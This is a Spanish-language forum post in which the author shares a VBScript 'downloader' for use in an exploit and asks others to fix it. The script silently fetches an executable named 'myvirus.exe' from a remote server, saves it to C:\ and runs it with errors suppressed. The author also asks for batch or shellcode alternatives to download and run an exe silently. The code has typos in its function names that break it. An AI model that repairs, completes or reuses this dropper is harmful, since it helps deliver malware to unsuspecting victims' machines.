Hola, estoy tratando de encontrar el codigo fuente de un downloader en VBScript para utilizarlo en un exploit, de momento tengo esto, pero me salta un error...
Sub Main()
On Error Resume Next
Set wsl = CreateObject("WScript.Shell")
bd = DowloadFile("http://www.myserver.com/myvirus.exe","c:\v.exe")
If bd = True Then wsl.run "c:\v.exe"
End Sub
Function DowloadFile(Url,Path)
On Error Resume Next: Err.Clear
Set xml = CreateObject("Microsoft.XMLHTTP")
Set ads = CreateObject("ADODB.Stream")
xml.Open "GET", Url, False
xml.Send
ads.Mode = 3
ads.Type = 1
ads.Open
ads.Write(xml.ResponseBody)
ads.SaveToFile(Path,2)
If Err Then DownloadFile = False Else DowloadFile = True
End Function
Necesito descargar y ejecutar un exe silenciosamente por medio de VBScript, pero este codigo no funciona...Si alguien lo puede revisar y decirme como lo puedo hacer se lo agradeceria.
No es totalmente indispensable que sea en VBScript, tambien puede ser en BATCH o por medio de una shellcode, pero no me aclaro...
Un saludo, gracias.